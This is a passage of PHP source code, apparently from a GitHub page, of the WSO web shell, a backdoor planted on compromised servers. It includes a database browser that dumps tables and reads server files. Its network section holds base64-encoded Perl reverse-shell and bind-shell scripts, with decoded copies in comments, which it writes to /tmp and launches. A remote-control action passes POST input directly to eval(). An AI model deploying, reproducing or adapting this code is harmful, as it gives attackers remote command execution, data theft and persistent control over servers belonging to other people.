<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> | |
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; | |
$tmp = "<input type=text name=sql_base value=''>"; | |
if(isset($_POST['sql_host'])){ | |
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
$db->listDbs(); | |
echo "<select name=sql_base><option value=''></option>"; | |
while($item = $db->fetch()) { | |
list($key, $value) = each($item); | |
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
} | |
echo '</select>'; | |
} | |
else echo $tmp; | |
}else | |
echo $tmp; | |
echo "</td> | |
<td><input type=submit value='>>' onclick='fs(d.sf);'></td> | |
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
</tr> | |
</table> | |
<script> | |
s_db='".@addslashes($_POST['sql_base'])."'; | |
function fs(f) { | |
if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; | |
if(f.p1) f.p1.value=''; | |
if(f.p2) f.p2.value=''; | |
if(f.p3) f.p3.value=''; | |
} | |
} | |
function st(t,l) { | |
d.sf.p1.value = 'select'; | |
d.sf.p2.value = t; | |
if(l && d.sf.p3) d.sf.p3.value = l; | |
d.sf.submit(); | |
} | |
function is() { | |
for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
} | |
</script>"; | |
if(isset($db) && $db->link){ | |
echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
if(!empty($_POST['sql_base'])){ | |
$db->selectdb($_POST['sql_base']); | |
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
$tbls_res = $db->listTables(); | |
while($item = $db->fetch($tbls_res)) { | |
list($key, $value) = each($item); | |
if(!empty($_POST['sql_count'])) | |
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); | |
$value = htmlspecialchars($value); | |
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; | |
} | |
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
if(@$_POST['p1'] == 'select') { | |
$_POST['p1'] = 'query'; | |
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
$num = $db->fetch(); | |
$pages = ceil($num['n'] / 30); | |
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
echo " of $pages"; | |
if($_POST['p3'] > 1) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
if($_POST['p3'] < $pages) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
$_POST['p3']--; | |
if($_POST['type']=='pgsql') | |
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
else | |
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
echo "<br><br>"; | |
} | |
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
$db->query(@$_POST['p2']); | |
if($db->res !== false) { | |
$title = false; | |
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; | |
$line = 1; | |
while($item = $db->fetch()) { | |
if(!$title) { | |
echo '<tr>'; | |
foreach($item as $key => $value) | |
echo '<th>'.$key.'</th>'; | |
reset($item); | |
$title=true; | |
echo '</tr><tr>'; | |
$line = 2; | |
} | |
echo '<tr class="l'.$line.'">'; | |
$line = $line==1?2:1; | |
foreach($item as $key => $value) { | |
if($value == null) | |
echo '<td><i>null</i></td>'; | |
else | |
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
} | |
echo '</tr>'; | |
} | |
echo '</table>'; | |
} else { | |
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
} | |
} | |
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
echo htmlspecialchars($_POST['p2']); | |
echo "</textarea><br/><input type=submit value='Execute'>"; | |
echo "</td></tr>"; | |
} | |
echo "</table></form><br/>"; | |
if($_POST['type']=='mysql') { | |
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
if($db->fetch()) | |
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; | |
} | |
if(@$_POST['p1'] == 'loadfile') { | |
$file = $db->loadFile($_POST['p2']); | |
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
} | |
} else { | |
echo htmlspecialchars($db->error()); | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionNetwork() { | |
wsoHeader(); | |
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
/* | |
// $back_connect_p decoded | |
#!/usr/bin/perl | |
use Socket; | |
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n"); | |
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n"); | |
$proto=getprotobyname('tcp'); | |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); | |
connect(SOCKET, $paddr) || die("Error: $!\n"); | |
open(STDIN, ">&SOCKET"); | |
open(STDOUT, ">&SOCKET"); | |
open(STDERR, ">&SOCKET"); | |
system('/bin/sh -i'); | |
close(STDIN); | |
close(STDOUT); | |
close(STDERR); | |
*/ | |
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
/* | |
// $bind_port_p decoded | |
#!/usr/bin/perl | |
$SHELL="/bin/sh -i"; | |
if (@ARGV < 1) { exit(1); } | |
use Socket; | |
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n"; | |
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); | |
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n"; | |
listen(S,3) || die "Cant listen port\n"; | |
while(1) { | |
accept(CONN,S); | |
if(!($pid=fork)) { | |
die "Cannot fork" if (!defined $pid); | |
open STDIN,"<&CONN"; | |
open STDOUT,">&CONN"; | |
open STDERR,">&CONN"; | |
exec $SHELL || die print CONN "Cant execute $SHELL\n"; | |
close CONN; | |
exit 0; | |
} | |
} | |
*/ | |
echo "<h1>Network tools</h1><div class=content> | |
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> | |
<span>Bind port to /bin/sh [perl]</span><br/> | |
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
</form> | |
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> | |
<span>Back-connect [perl]</span><br/> | |
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
</form><br>"; | |
if(isset($_POST['p1'])) { | |
function cf($f,$t) { | |
$w = @fopen($f,"w") or @function_exists('file_put_contents'); | |
if($w){ | |
@fwrite($w,@base64_decode($t)); | |
@fclose($w); | |
} | |
} | |
if($_POST['p1'] == 'bpp') { | |
cf("/tmp/bp.pl",$bind_port_p); | |
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); | |
sleep(1); | |
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; | |
unlink("/tmp/bp.pl"); | |
} | |
if($_POST['p1'] == 'bcp') { | |
cf("/tmp/bc.pl",$back_connect_p); | |
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); | |
sleep(1); | |
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; | |
unlink("/tmp/bc.pl"); | |
} | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionRC() { | |
if(!@$_POST['p1']) { | |
$a = array( | |
"uname" => php_uname(), | |
"php_version" => phpversion(), | |
"wso_version" => WSO_VERSION, | |
"safemode" => @ini_get('safe_mode') | |
); | |
echo serialize($a); | |
} else { | |
eval($_POST['p1']); | |
} | |
} | |
if( empty($_POST['a']) ) | |
if(isset($default_action) && function_exists('action' . $default_action)) | |
$_POST['a'] = $default_action; | |
else | |
$_POST['a'] = 'SecInfo'; | |
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) | |
call_user_func('action' . $_POST['a']); | |
exit; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment